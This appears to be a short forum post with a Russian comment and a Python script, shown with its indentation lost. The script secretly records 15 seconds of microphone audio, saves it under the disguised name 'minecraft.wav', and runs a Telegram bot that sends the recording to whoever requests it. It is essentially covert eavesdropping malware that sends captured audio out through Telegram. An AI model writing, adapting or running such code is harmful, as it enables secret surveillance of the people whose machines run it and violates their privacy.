это переписанный код, но толку от того что ты сейчас его получил - ноль)
import telebot
import config
import sounddevice as sd
from scipy.io.wavfile import write
bot = telebot.TeleBot(config.TOKEN)
fs = 44100 # Sample rate
seconds = 15 # Recording duration
myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
sd.wait() # Wait for recording to finish
print("Recording finished")
write('minecraft.wav', fs, myrecording) # Save as WAV file
keyboard = telebot.types.ReplyKeyboardMarkup(True, False)
keyboard.row("GET")
@bot.message_handler(commands=["start"])
def start_message(message):
chat_id = message.chat.id
text = message.text.lower()
bot.send_message(chat_id, "Hi", reply_markup=keyboard)
@bot.message_handler(content_types=["text"])
def send_message(message):
chat_id = message.chat.id
text = message.text.lower()
print(text)
if text == "get":
bot.send_message(chat_id, "FILE")
bot.send_audio(chat_id, open("minecraft.wav", "rb"))
elif text == "bye":
bot.send_message(chat_id, "Bye!")
bot.polling()